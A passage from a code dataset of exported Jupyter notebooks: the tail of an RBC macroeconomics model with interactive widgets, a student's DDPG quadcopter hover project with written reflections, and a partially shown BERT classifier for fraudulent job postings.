rate\")\nplt.show() # Display the plot\n\n# + [markdown] id=\"MagZuac9FiTW\"\n# ## Bonus: IPywidgets and interactive plots\n# [IPywidgets](https://ipywidgets.readthedocs.io/en/latest/index.html) lets you build interactive GUI within your notebook. \n#\n# It can be pretty useful if you want to observe how something changes with its inputs or when you have to present the results of your data exploration to your peers as you can just modify the inputs and have the results refresh automatically. To apply this, you need to understand what functions are in Python and how they work.\n\n# + id=\"3RJ5WinfFiTX\"\n# Import the necessary module to use IPywidgets\nimport ipywidgets as widgets\n\n\n# + id=\"cVkJbg_HFiTX\"\n# Create a function taking the number of periods and the shock to technology and to government spending as parameters\n# This follows the same logic as what we did above but packed in a function, allowing to simply pass 3 parameters\ndef balanced_growth_path(T, shock_A, shock_G):\n # Initialize empty Tx1 vectors for all variables of interest\n A = np.zeros(T)\n G = np.zeros(T)\n K = np.zeros(T)\n C = np.zeros(T)\n L = np.zeros(T)\n Y = np.zeros(T)\n w = np.zeros(T)\n ir = np.zeros(T)\n G[0] = shock_G\n A[0] = shock_A\n # Iterate over the periods and compute the variables sequentially (exact same as above)\n for t in range(1, T):\n if t > 0:\n # Variables which only need values from the past iteration (state variables)\n A[t] = rho_A * A[t-1] # Eq. (5.9)\n G[t] = rho_G * G[t-1] # Eq. (5.11)\n K[t] = b_KK * K[t-1] + b_KA * A[t-1] + b_KG * G[t-1] # Eq. (5.53)\n # Variables which need the variables just computed in this same iteration (control variables and output)\n C[t] = a_CK * K[t] + a_CA * A[t] + a_CG * G[t] # Eq. (5.51)\n L[t] = a_LK * K[t] + a_LA * A[t] + a_LG * G[t] # Eq. (5.52)\n Y[t] = alpha * K[t] + (1 - alpha) * (L[t] + A[t]) # Eq. (5.54)\n w[t] = (1 - alpha) * A[t] + alpha * K[t] - alpha * L[t] # Eq. (5.46)\n ir[t] = 4*(1-alpha)*(r+delta)/(1+r) *(A[t] + L[t] - K[t])\n return A, G, K, C, L, Y \n\n\n# + id=\"nF8njFQiFiTX\"\n# Create a function which takes in the number of periods as well as both the shock to technology and government spending as input\n# Additionally, this function takes in a list called `variables_to_plot`. The function will plot a graph according to the variables passed in this list\ndef plot_bgp(T, shock_A, shock_G, variables_to_plot):\n # Compute the variables using the function we defined above\n A, G, K, C, L, Y = balanced_growth_path(T, shock_A, shock_G)\n # Plot the results\n plt.figure(figsize=(12,8)) # Define plot size\n plt.grid()\n # Plot path of technology\n if \"A\" in variables_to_plot:\n plt.plot(A[:-1], label = \"A (Technology)\")\n # Plot path of government spending\n if \"G\" in variables_to_plot:\n plt.plot(G[:-1], label = \"G (Government spending)\")\n # Plot path of capital\n if \"K\" in variables_to_plot:\n plt.plot(K[:-1], label = \"K (Capital)\") \n # Plot path of labor\n if \"L\" in variables_to_plot:\n plt.plot(L[1:], label = \"L (Labor)\")\n # Plot path of output\n if \"Y\" in variables_to_plot:\n plt.plot(Y[1:], label = \"Y (Output)\")\n # Plot path of consumption\n if \"C\" in variables_to_plot:\n plt.plot(C[1:], label = \"C (Consumption)\")\n # Plot path of wage\n if \"w\" in variables_to_plot:\n plt.plot(w[1:], label = \"w (Wage)\")\n # Plot path of interest rate\n if \"r\" in variables_to_plot:\n plt.plot(C[1:], label = \"r (Interest rate)\")\n # Add a horizontal line at zero\n plt.hlines(0, 0, T, linestyles = \"dashed\", colors = \"grey\") \n if len(variables_to_plot):\n plt.legend() # Add the legend (A, K, L) top right\n # Add a title\n plt.title(\"Effect of a government spending shock on the paths of capital and labor\")\n plt.show() # Display the plot\n\n\n# + id=\"KIz5vHyoFiTX\"\n# Create a slider to choose the number of periods, ranging from 10 to 200, initialized at 40\nslider_time = widgets.IntSlider(value = 40, min = 10, max = 200)\n# Create a slider to choose the shock to government spending, from 0% to 5%\nslider_shock_G = widgets.FloatSlider(min = 0, max = 5)\n# Create a slider to choose the shock to technology, from 0% to 5%\nslider_shock_A = widgets.FloatSlider(min = 0, max = 5)\n# Create a selection box containing the variables we can choose from to add to the plot\nvariables_to_plot = widgets.SelectMultiple(options={\"Technology\": \"A\", \"Government spending\": \"G\",\n \"Capital\": \"K\", \"Consumption\": \"C\", \"Labor\": \"L\", \"Output\": \"Y\",\n \"Wage\": \"w\", \"Interest rate\": \"r\"},\n layout=widgets.Layout(height = \"180px\"))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 725, \"referenced_widgets\": [\"22cc57ed6b8a4d269e681ec6b7785d9a\", \"335e833f4a594e5cab03155311fae980\", \"e464c86330454e1e9252522b04316789\", \"3c21d460e751472b88c37630dabee615\", \"f26ca8bbfa42454abbefe5cb1fa42137\", \"fa1be45a75424cdb8c2c79c03a1cce11\", \"09c44ef2f46040549403eba27262b4d1\", \"5f3806f34af041219acfbade0aaa59de\", \"120d0b5f29e34c158b616aea33706851\", \"9dd68d6ff6904872a4a15c5c6c6e1e9a\", \"8fbb291e956d4adc87993c9de6c5a64f\", \"aa7daefc17e4471d9d1b0ede6ba3aac7\", \"1064fce88d644c04a3fbdfeb1ad9d030\", \"0df69209240644a7ac8353022a0f7a2a\", \"623fa102f35d4528a7f64361a4cc3fcb\", \"9bac82d00e6c43da83e68c88be7ea2e1\", \"7088d5ddf2de42f999189f5bfa3c4f45\"]} id=\"l8M0Y27wFiTX\" outputId=\"21271ae0-e363-4776-c33a-6af971880b9c\"\n# Display the full widget\nwidgets.interact(plot_bgp, T = slider_time, shock_A = slider_shock_A, shock_G = slider_shock_G, variables_to_plot = variables_to_plot)\n","repo_name":"SEPS-UniSG/advanced-macro-2","sub_path":"RBC_Model.ipynb","file_name":"RBC_Model.ipynb","file_ext":"py","file_size_in_byte":19958,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"34610414268","text":"# # Project: Train a Quadcopter How to Fly\n#\n# Design an agent to fly a quadcopter, and then train it using a reinforcement learning algorithm of your choice! \n#\n# Try to apply the techniques you have learnt, but also feel free to come up with innovative ideas and test them.\n\n# ## Instructions\n#\n# Take a look at the files in the directory to better understand the structure of the project. \n#\n# - `task.py`: Define your task (environment) in this file.\n# - `agents/`: Folder containing reinforcement learning agents.\n# - `policy_search.py`: A sample agent has been provided here.\n# - `agent.py`: Develop your agent here.\n# - `physics_sim.py`: This file contains the simulator for the quadcopter. **DO NOT MODIFY THIS FILE**.\n#\n# For this project, you will define your own task in `task.py`. Although we have provided a example task to get you started, you are encouraged to change it. Later in this notebook, you will learn more about how to amend this file.\n#\n# You will also design a reinforcement learning agent in `agent.py` to complete your chosen task. \n#\n# You are welcome to create any additional files to help you to organize your code. For instance, you may find it useful to define a `model.py` file defining any needed neural network architectures.\n#\n# ## Controlling the Quadcopter\n#\n# We provide a sample agent in the code cell below to show you how to use the sim to control the quadcopter. This agent is even simpler than the sample agent that you'll examine (in `agents/policy_search.py`) later in this notebook!\n#\n# The agent controls the quadcopter by setting the revolutions per second on each of its four rotors. The provided agent in the `Basic_Agent` class below always selects a random action for each of the four rotors. These four speeds are returned by the `act` method as a list of four floating-point numbers. \n#\n# For this project, the agent that you will implement in `agents/agent.py` will have a far more intelligent method for selecting actions!\n\n# +\nimport random\n# setting the seed for a reproducable result\nrandom.seed(10000) \nimport tensorflow as tf \ntf.set_random_seed(10000)\n\nclass Basic_Agent():\n def __init__(self, task):\n self.task = task\n \n def act(self):\n new_thrust = random.gauss(450., 25.)\n return [new_thrust + random.gauss(0., 1.) for x in range(4)]\n\n\n# -\n\n# Run the code cell below to have the agent select actions to control the quadcopter. \n#\n# Feel free to change the provided values of `runtime`, `init_pose`, `init_velocities`, and `init_angle_velocities` below to change the starting conditions of the quadcopter.\n#\n# The `labels` list below annotates statistics that are saved while running the simulation. All of this information is saved in a text file `data.txt` and stored in the dictionary `results`. \n\n# +\n# %load_ext autoreload\n# %autoreload 2\n\nimport csv\nimport numpy as np\n# setting the seed for a reproducable result\nnp.random.seed(10000) \nfrom task import Task\n\n# Modify the values below to give the quadcopter a different starting position.\nruntime = 5. # time limit of the episode\ninit_pose = np.array([0., 0., 10., 0., 0., 0.]) # initial pose\ninit_velocities = np.array([0., 0., 0.]) # initial velocities\ninit_angle_velocities = np.array([0., 0., 0.]) # initial angle velocities\nfile_output = 'data.txt' # file name for saved results\n\n# Setup\ntask = Task(init_pose, init_velocities, init_angle_velocities, runtime)\nagent = Basic_Agent(task)\ndone = False\nlabels = ['time', 'x', 'y', 'z', 'phi', 'theta', 'psi', 'x_velocity',\n 'y_velocity', 'z_velocity', 'phi_velocity', 'theta_velocity',\n 'psi_velocity', 'rotor_speed1', 'rotor_speed2', 'rotor_speed3', 'rotor_speed4']\nresults = {x : [] for x in labels}\n\n# Run the simulation, and save the results.\nwith open(file_output, 'w') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(labels)\n while True:\n rotor_speeds = agent.act()\n _, _, done = task.step(rotor_speeds)\n to_write = [task.sim.time] + list(task.sim.pose) + list(task.sim.v) + list(task.sim.angular_v) + list(rotor_speeds)\n for ii in range(len(labels)):\n results[labels[ii]].append(to_write[ii])\n writer.writerow(to_write)\n if done:\n break\n# -\n\n# Run the code cell below to visualize how the position of the quadcopter evolved during the simulation.\n\n# +\nimport matplotlib.pyplot as plt\n# %matplotlib inline\n\nplt.plot(results['time'], results['x'], label='x')\nplt.plot(results['time'], results['y'], label='y')\nplt.plot(results['time'], results['z'], label='z')\nplt.legend()\n_ = plt.ylim()\n# -\n\n# The next code cell visualizes the velocity of the quadcopter.\n\nplt.plot(results['time'], results['x_velocity'], label='x_hat')\nplt.plot(results['time'], results['y_velocity'], label='y_hat')\nplt.plot(results['time'], results['z_velocity'], label='z_hat')\nplt.legend()\n_ = plt.ylim()\n\n# Next, you can plot the Euler angles (the rotation of the quadcopter over the $x$-, $y$-, and $z$-axes),\n\nplt.plot(results['time'], results['phi'], label='phi')\nplt.plot(results['time'], results['theta'], label='theta')\nplt.plot(results['time'], results['psi'], label='psi')\nplt.legend()\n_ = plt.ylim()\n\n# before plotting the velocities (in radians per second) corresponding to each of the Euler angles.\n\nplt.plot(results['time'], results['phi_velocity'], label='phi_velocity')\nplt.plot(results['time'], results['theta_velocity'], label='theta_velocity')\nplt.plot(results['time'], results['psi_velocity'], label='psi_velocity')\nplt.legend()\n_ = plt.ylim()\n\n# Finally, you can use the code cell below to print the agent's choice of actions. \n\nplt.plot(results['time'], results['rotor_speed1'], label='Rotor 1 revolutions / second')\nplt.plot(results['time'], results['rotor_speed2'], label='Rotor 2 revolutions / second')\nplt.plot(results['time'], results['rotor_speed3'], label='Rotor 3 revolutions / second')\nplt.plot(results['time'], results['rotor_speed4'], label='Rotor 4 revolutions / second')\nplt.legend()\n_ = plt.ylim()\n\n# When specifying a task, you will derive the environment state from the simulator. Run the code cell below to print the values of the following variables at the end of the simulation:\n# - `task.sim.pose` (the position of the quadcopter in ($x,y,z$) dimensions and the Euler angles),\n# - `task.sim.v` (the velocity of the quadcopter in ($x,y,z$) dimensions), and\n# - `task.sim.angular_v` (radians/second for each of the three Euler angles).\n\n# the pose, velocity, and angular velocity of the quadcopter at the end of the episode\nprint(task.sim.pose)\nprint(task.sim.v)\nprint(task.sim.angular_v)\n\n# In the sample task in `task.py`, we use the 6-dimensional pose of the quadcopter to construct the state of the environment at each timestep. However, when amending the task for your purposes, you are welcome to expand the size of the state vector by including the velocity information. You can use any combination of the pose, velocity, and angular velocity - feel free to tinker here, and construct the state to suit your task.\n#\n# ## The Task\n#\n# A sample task has been provided for you in `task.py`. Open this file in a new window now. \n#\n# The `__init__()` method is used to initialize several variables that are needed to specify the task. \n# - The simulator is initialized as an instance of the `PhysicsSim` class (from `physics_sim.py`). \n# - Inspired by the methodology in the original DDPG paper, we make use of action repeats. For each timestep of the agent, we step the simulation `action_repeats` timesteps. If you are not familiar with action repeats, please read the **Results** section in [the DDPG paper](https://arxiv.org/abs/1509.02971).\n# - We set the number of elements in the state vector. For the sample task, we only work with the 6-dimensional pose information. To set the size of the state (`state_size`), we must take action repeats into account. \n# - The environment will always have a 4-dimensional action space, with one entry for each rotor (`action_size=4`). You can set the minimum (`action_low`) and maximum (`action_high`) values of each entry here.\n# - The sample task in this provided file is for the agent to reach a target position. We specify that target position as a variable.\n#\n# The `reset()` method resets the simulator. The agent should call this method every time the episode ends. You can see an example of this in the code cell below.\n#\n# The `step()` method is perhaps the most important. It accepts the agent's choice of action `rotor_speeds`, which is used to prepare the next state to pass on to the agent. Then, the reward is computed from `get_reward()`. The episode is considered done if the time limit has been exceeded, or the quadcopter has travelled outside of the bounds of the simulation.\n#\n# In the next section, you will learn how to test the performance of an agent on this task.\n\n# ## The Agent\n#\n# The sample agent given in `agents/policy_search.py` uses a very simplistic linear policy to directly compute the action vector as a dot product of the state vector and a matrix of weights. Then, it randomly perturbs the parameters by adding some Gaussian noise, to produce a different policy. Based on the average reward obtained in each episode (`score`), it keeps track of the best set of parameters found so far, how the score is changing, and accordingly tweaks a scaling factor to widen or tighten the noise.\n#\n# Run the code cell below to see how the agent performs on the sample task.\n\n# +\nimport sys\nimport pandas as pd\nfrom agents.policy_search import PolicySearch_Agent\nfrom task import Task\n\nnum_episodes = 1000\ntarget_pos = np.array([0., 0., 10.])\ntask = Task(target_pos=target_pos)\nagent = PolicySearch_Agent(task) \n\nfor i_episode in range(1, num_episodes+1):\n state = agent.reset_episode() # start a new episode\n while True:\n action = agent.act(state) \n next_state, reward, done = task.step(action)\n agent.step(reward, done)\n state = next_state\n if done:\n print(\"\\rEpisode = {:4d}, score = {:7.3f} (best = {:7.3f}), noise_scale = {}\".format(\n i_episode, agent.score, agent.best_score, agent.noise_scale), end=\"\") # [debug]\n break\n sys.stdout.flush()\n# -\n\n# This agent should perform very poorly on this task. And that's where you come in!\n\n# ## Define the Task, Design the Agent, and Train Your Agent!\n#\n# Amend `task.py` to specify a task of your choosing. If you're unsure what kind of task to specify, you may like to teach your quadcopter to takeoff, hover in place, land softly, or reach a target pose. \n#\n# After specifying your task, use the sample agent in `agents/policy_search.py` as a template to define your own agent in `agents/agent.py`. You can borrow whatever you need from the sample agent, including ideas on how you might modularize your code (using helper methods like `act()`, `learn()`, `reset_episode()`, etc.).\n#\n# Note that it is **highly unlikely** that the first agent and task that you specify will learn well. You will likely have to tweak various hyperparameters and the reward function for your task until you arrive at reasonably good behavior.\n#\n# As you develop your agent, it's important to keep an eye on how it's performing. Use the code above as inspiration to build in a mechanism to log/save the total rewards obtained in each episode to file. If the episode rewards are gradually increasing, this is an indication that your agent is learning.\n\n# +\nimport matplotlib.pyplot as plt\n\n# generate plot function\ndef plt_dynamic(x, y1, y2, color_y1='g', color_y2='b'):\n # create plots\n fig, sub1= plt.subplots(1,1)\n sub2 = sub1.twinx()\n \n sub1.plot(x, y1, color_y1)\n sub2.plot(x, y2, color_y2)\n fig.canvas.draw()\n\n\n # set plot boundaries\n sub1.set_xlim(0, 5.) # this is typically time\n sub1.set_ylim(-20, 20) # limits to your y1\n sub2.set_xlim(0, 5.) # time, again\n sub2.set_ylim(-20, 20) # limits to your y2\n\n # set labels and colors for the axes\n sub1.set_xlabel('time (s)', color='k') \n sub1.set_ylabel('y1-axis label', color='g')\n sub1.tick_params(axis='x', colors='k')\n sub1.tick_params(axis='y', colors=\"g\")\n\n sub2.set_ylabel('y2-axis label', color='b') \n sub2.tick_params(axis='y', colors='b')\n\n\n# +\n## TODO: Train your agent here.\nimport sys\nimport pandas as pd\nfrom agents.agent import DDPG\nfrom task import Task\n\nnum_episodes = 1000\n#init_pose = np.array([0., 0., 0., 0. , 0., 0.]) \ntarget_pos = np.array([0., 0., 10.])\ntask = Task(target_pos=target_pos)\nagent = DDPG(task) \n\nreward_store = dict.fromkeys(range(1, num_episodes+1))\n\n#display_graph = True\n#display_freq = 2\ntotal_reward_best = -np.inf\n\nfor i_episode in range(1, num_episodes+1):\n state = agent.reset_episode() # start a new episode\n total_reward = 0\n \n # prior to the start of each episode, clear the datapoints\n# x, y1, y2 = [], [], []\n\n# # within the episode loop\n# if (i_episode % display_freq == 0) and (display_graph == True):\n# x.append(task.sim.time) # time\n# y1.append(task.sim.pose[1]) # y-axis 1 values\n# y2.append(task.sim.pose[2]) # y-axis 2 values\n \n while True:\n action = agent.act(state) \n next_state, reward, done = task.step(action)\n agent.step(action, reward, next_state, done)\n state = next_state\n \n total_reward += reward\n \n if done:\n reward_store[i_episode] = total_reward\n total_reward_best = max(total_reward_best, total_reward)\n \n print(\"\\rEpisode = {:4d}, Total_reward = {:7.3f}, (best = {:7.3f})\".format(\n i_episode, total_reward, total_reward_best), end=\"\") # [debug]\n #if (i_episode % display_freq == 0) and (display_graph == True):\n # print(\"\\r i_episode: {:2} \".format(i_episode))\n \n break\n sys.stdout.flush()\n# -\n\n# ## Plot the Rewards\n#\n# Once you are satisfied with your performance, plot the episode rewards, either from a single run, or averaged over multiple runs. \n\n# +\n## TODO: Plot the rewards.\n\n#reward_store\nx = np.fromiter(reward_store.keys(), dtype = float)\ny = np.fromiter(reward_store.values(), dtype = float)\n\nplt.plot(x, y, label='total rewards / episodes')\nplt.legend()\n# -\n\nprint(np.mean(y[-11:-1]))\n\n# ## Reflections\n#\n# **Question 1**: Describe the task that you specified in `task.py`. How did you design the reward function?\n#\n# **Answer**: The task was to hover, i.e. make the quadcopter to \"remain\" close to the initial position, in this case in the position given by [0., 0., 10.].\n#\n# The reward function was set in the `task.py` file, in the `get_reward` function. The reward is set:\n# \n# if (dist < 0.2) and (velo < 0.5):\n# reward = 5.\n# else:\n# reward = -0.005*(min(dist, 3)**2)-0.001*(min(velo,2)**2)\n# return np.clip(reward,-5.,5.)/5\n# \n# In other words, as the agent gets a relatively large (5.) reward, if it stays fairly close (<0.2) to the target position and also it has a reduced speed (<0.5). In all other cases the rewards should be a small negativ number. \n# This is designed in a way that it increases, as the agent moves towards the target position, and reducing the speed also helps increase this reward. Both, the distance and the speed are capped at 3, and at 2, respectively. This was introduced in order to floor the negative reward, which is, in the worst case, -0.049. \n#\n# As a last step, the reward was normalized, in such a way that it remains always between [-0.0098, 1]. \n#\n# The idea behind this is to encourage the agent to find the \"sweet spot\", which is a position that is very close to the target and the agent's speed is reduced. As this state rewards such a huge amount compared to the small negatives in all other cases, that it icentivise the agent to stay there. \n#\n# Also note that, as both, the initial position and the target position are in the air ([0., 0., 10.]), the agent has to fly in order to remain airborne and close to the target. Hence, this excludes the degenerate case, where the agent is on the ground in a still position. \n\n# **Question 2**: Discuss your agent briefly, using the following questions as a guide:\n#\n# - What learning algorithm(s) did you try? What worked best for you?\n#\n# $\\underline{Answer}$: I used the DDPG agent template and tweaked that accordingly. I found the template immensly useful. \n# - What was your final choice of hyperparameters (such as $\\alpha$, $\\gamma$, $\\epsilon$, etc.)?\n#\n# $\\underline{Answer}$: Having tried a few coices, I settled for a much lower learning rate for the Actor and Critic NNs as well; I set it $0.0001$, instead of the default $0.001$. Apart from this, I set batch normalization and also (Xavier) weight initializers (for both, Actor and Critic NNs). \n# - What neural network architecture did you use (if any)? Specify layers, sizes, activation functions, etc.\n#\n#\n# $\\underline{Answer}$: Apart from the added features described above, I kept the model architectures the same. That is, for the Actor, I kept the 3 (hidden) layers, with 32, 64 and 32 nodes. In the last two layers I added batch normalization. Weight initializers were set to Xavier, and activation functions were kept `relu`. Here I have tried tanh activation functions too, however the differences were not significant, hence I kept the original setting. \n# Adam optimizer was used, with a lower (0.0001) than default learning rate. \n#\n# As for the Critic part. Two layers were used for the state pathway and two for the action pathway. Both of these were with 32 and 64 nodes. Similarly, Xavier weight initializations were set. Here no batch normalization was used, as opposed to the Actor NN. Activation functions were kept `relu` for similar considerations as pointed out in the Actor NN, i.e. no significant changes with other types. Adam optimizer was used with a lower (0.0001) than default learning rate. \n#\n# **Answer**: See above.\n\n# **Question 3**: Using the episode rewards plot, discuss how the agent learned over time.\n#\n# ***Note that all the random seeds were set in order to submit reproducible results.***\n#\n# - Was it an easy task to learn or hard?\n#\n# $\\underline{Answer}$: The agent's reward oscillated around $10-25$ until around $350$ episodes, with occasional spikes to the teritory that later would prove to be some stable-ish reward are. A relatively sharp climb happened around the episode $400$, after which the rewards kept oscillating until eventually stabilized with less oscillation around the value $60-70$ after $500$ episodes. Note that there was a slight dip, where the total rewards oscillated more wildly and dipped to the teritory of as low as 15-20. This lasted around episodes $700-800$. \n#\n# - Was there a gradual learning curve, or an aha moment?\n#\n# $\\underline{Answer}$: It was more like a gradual learning curve for me definitely, not for the agent. \n#\n# - How good was the final performance of the agent? (e.g. mean rewards over the last 10 episodes)\n#\n# $\\underline{Answer}$: In the last $10$ episodes the average reward was $60.3967$. \n#\n# **Answer**: See above. \n\n# **Question 4**: Briefly summarize your experience working on this project. You can use the following prompts for ideas.\n#\n# - What was the hardest part of the project? (e.g. getting started, plotting, specifying the task, etc.)\n# - Did you find anything interesting in how the quadcopter or your agent behaved?\n#\n# **Answer**: In general I found the project difficult. Mainly setting the right reward function was a tough nut to crack. Even though the agent that is being submitted learns, I know that there is definitely room for improvement.\n# For example I would like to learn how to amend the reward function in order to see less zig-zags (oscillations). \n# This oscillating reward feature was my biggest struggle.\n#\n# At the same time I greatly appreciate the templates and the guidance. I definitely think they helped a lot. \n\n\n","repo_name":"semiGr/dl-projects","sub_path":"Deep RL - Quadcopter/Quadcopter_Project.ipynb","file_name":"Quadcopter_Project.ipynb","file_ext":"py","file_size_in_byte":20135,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"41632756112","text":"# + [markdown] id=\"LAEyioWJhnKg\"\n# # Deep Learning w/ BERT (NLP)\n# ## Is the job posting Fraudulent or Real?\n# ### Dataset can be found on [Kaggle](https://www.kaggle.com/shivamb/real-or-fake-fake-jobposting-prediction)\n# #### Nathan Krasinski\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"KucdrtHZgvgW\" outputId=\"6d28635e-0c1c-4749-912f-f76166e86681\"\n# !pip install -q tensorflow-text\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"jdIvLWv2h0kH\" outputId=\"cc215da5-626b-4bc3-9c20-26dcfb341f4c\"\n# !pip install -q tf-models-official\n\n# + id=\"CmuBVJpJh40m\"\nimport os\nimport shutil\nimport tensorflow as tf\nimport tensorflow_hub as hub\nimport tensorflow_text as text\nfrom official.nlp import optimization # to create AdamW optimizer\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\ntf.get_logger().setLevel('ERROR')\n\n# + id=\"vLF7xhjKh9R2\"\ndf = pd.read_csv(\"fake_job_postings.csv\")\n\n# + id=\"N-CSaIzImGxP\"\ndf['combined'] = df['title'].astype(str) + \" \" + df['description'].astype(str)\n\n# + [markdown] id=\"CNCcELiW3wgu\"\n# ## Text Cleanup\n\n# + id=\"d5a0-ynR33nt\"\nimport spacy, re\n\ndf['combined']=df['combined'].str.replace('\\n','')\ndf['combined']=df['combined'].str.replace('\\r','')\ndf['combined']=df['combined'].str.replace('\\t','')\n \n#This removes unwanted texts\ndf['combined'] = df['combined'].apply(lambda x: re.sub(r'[0-9]','',x))\ndf['combined'] = df['combined'].apply(lambda x: re.sub(r'[/(){}\\[\\]\\|@,;.:-]',' ',x))\n \n#Converting all upper case to lower case\ndf['combined']= df['combined'].apply(lambda s:s.lower() if type(s) == str else s)\n \n\n#Remove un necessary white space\ndf['combined']=df['combined'].str.replace(' ',' ')\n\n#Remove Stop words\nnlp=spacy.load(\"en_core_web_sm\")\ndf['combined'] =df['combined'].apply(lambda x: ' '.join([word for word in x.split() if nlp.vocab[word].is_stop==False ]))\n\n# + id=\"vCsbzSZ2oxsn\"\nraw_x_train, x_test, raw_y_train, y_test = train_test_split(df['combined'], df['fraudulent'], test_size=0.2, random_state=23, stratify=df['fraudulent'])\nx_train, x_val, y_train, y_val = train_test_split(raw_x_train, raw_y_train, test_size=0.25, random_state=23, stratify=raw_y_train)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"CwaCMo-KrizP\" outputId=\"8d72a03d-4b6f-4592-b836-776749f358b9\"\n# Sanity Check\nprint(x_train.size)\nprint(y_train.size)\nprint(x_val.size)\nprint(y_val.size)\nprint(x_test.size)\nprint(y_test.size)\n\n\n# + id=\"g17LRm0dxyOw\"\ntrain_ds = tf.data.Dataset.from_tensor_slices((x_train, y_train))\ntrain_ds = train_ds.batch(32)\n\nval_ds = tf.data.Dataset.from_tensor_slices((x_val, y_val))\nval_ds = val_ds.batch(32)\n\ntest_ds = tf.data.Dataset.from_tensor_slices((x_test, y_test))\ntest_ds = test_ds.batch(32)\n\n\n# + id=\"47YxyjHnWeBP\"\ntfhub_handle_encoder = \"https://tfhub.dev/tensorflow/small_bert/bert_en_uncased_L-4_H-128_A-2/2\"\ntfhub_handle_preprocess = \"https://tfhub.dev/tensorflow/bert_en_uncased_preprocess/3\"\n\n# + id=\"e1vdt3yt3tHM\"\nfrom keras.activations import sigmoid\n\ndef build_classifier_model():\n text_input = tf.keras.layers.Input(shape=(), dtype=tf.string, name='text')\n preprocessing_layer = hub.KerasLayer(tfhub_handle_preprocess, name='preprocessing')(text_input)\n Bert_layer = hub.KerasLayer(tfhub_handle_encoder, trainable=True, name='BERT_encoder')(preprocessing_layer)\n Bert_output = Bert_layer['pooled_output']\n net = tf.keras.layers.Dropout(0.1)(Bert_output)\n output_layer = tf.keras.layers.Dense(1, activation=\"sigmoid\", name='classifier')(net)\n return tf.keras.Model(text_input, output_layer) \n\n\n# + id=\"f6Vdblt-4vix\"\nclassifier_model = build_classifier_model()\n\n# + id=\"PbdYoXQp9uuo\"\nloss = tf.keras.losses.BinaryCrossentropy(from_logits=False)\nmetrics = tf.keras.metrics.AUC(name='auc')\n\n# + id=\"LkJcJbVI-FWa\"\nepochs = 15\nsteps_per_epoch = tf.data.experimental.cardinality(train_ds).numpy()\nnum_train_steps = steps_per_epoch * epochs\nnum_warmup_steps = int(0.1*num_train_steps)\n\ninit_lr = 3e-5\noptimizer = optimization.create_optimizer(init_lr=init_lr,\n num_train_steps=num_train_steps,\n num_warmup_steps=num_warmup_steps,\n optimizer_type='adamw')\n\n# + id=\"3LvMEKcl_Xmp\"\nclassifier_model.compile(optimizer=optimizer,\n loss=loss,\n metrics=metrics)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"NbYY6j8K_iKV\" outputId=\"1399f8fa-c7f9-48cd-d493-35c194fdd329\"\nearly_stopping = tf.keras.callbacks.EarlyStopping(monitor='val_auc', patience=5, min_delta=1e-3, restore_best_weights=True)\nhistory = classifier_model.fit(x=train_ds,\n validation_data=val_ds,\n epochs=epochs,\n callbacks=[early_stopping])\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"C5KN6V22NJKp\" outputId=\"fca92f6f-0ff0-4905-be14-b846a7048604\"\npredictions = classifier_model.predict(val_ds)\n\n# + id=\"wl-9gApUFAsX\"\nimport numpy as np\npred_class=[0 if p<=0.5 else 1 for p in predictions]\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 279} id=\"KgPINGdSMXv0\" outputId=\"6c18336e-b88f-47b8-c82e-31b2c81109f1\"\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import make_classification\nfrom sklearn.metrics import confusion_matrix, ConfusionMatrixDisplay, classification_report\n\ncm = confusion_matrix(y_val, pred_class, labels=[0,1])\ndisp = ConfusionMatrixDisplay(confusion_matrix=cm, display_labels=[\"Real\", \"Fraudulent\"])\ndisp.plot()\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"SiSqLQ-brxiR\" outputId=\"dce54441-eea1-48a8-9ada-67d3ef6ed093\"\nprint(classification_report(y_val, pred_class, zero_division=0))\n\n# + [markdown] id=\"9oWvoiaatz50\"\n# # Undersampling the data\n\n# + id=\"qDTTuqPot2rO\"\nX = pd.concat([x_train, y_train], axis=1)\nlegit = X[X.fraudulent == 0] \nfraud = X[X.fraudulent == 1] \n\n\n\n\n\n# + id=\"3J8AsELQE6U3\"\nfrom sklearn.utils import resample\nRANDOM_SEED = 23\n\n\nlegit_downsampled = resample(legit,\n replace = False,\n n_samples = len(fraud),\n random_state = RANDOM_SEED)\ntrain_downsampled = pd.concat([legit_downsampled, fraud])\ntrain_downsampled = train_downsampled.sample(frac=1, random_state=RANDOM_SEED).reset_index() #shuffle the dataframe\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"-LPoxkp-qPVV\" outputId=\"a1932bb4-1285-457b-96ce-be39ade55ceb\"\ntrain_downsampled['fraudulent'].value_counts().plot(kind=\"bar\", title=\"Legit vs Fraud\")\n\n# + id=\"yhGqqhP0GHOb\"\ntrain_downsampled_ds = tf.data.Dataset.from_tensor_slices((train_downsampled['combined'], train_downsampled['fraudulent']))\ntrain_downsampled_ds = train_downsampled_ds.batch(32)\n\n# + id=\"7d2V1dxZ4-vq\"\nds_model = build_classifier_model()\n\n# + id=\"0Y8Rs77v5Obv\"\nds_model.compile(optimizer=optimizer,\n loss=loss,\n metrics=metrics)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"dTK2uBNcYDr_\" outputId=\"b0258645-2486-4edf-d5f4-0e062d5ac873\"\n\nhistory_downsampled = ds_model.fit(x=train_downsampled_ds,\n validation_data=val_ds,\n epochs=epochs, \n callbacks=[early_stopping])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"_FXJ1HmmYuD0\" outputId=\"55e11939-34ff-4bfe-96fb-2c863818ba3a\"\npredictions_downsampled = ds_model.predict(val_ds)\n\n# + id=\"yuQm6-qqYwmF\"\npred_class_ds = [0 if p<=0.5 else 1 for p in predictions_downsampled]\n\n# + colab={\"base_uri\": 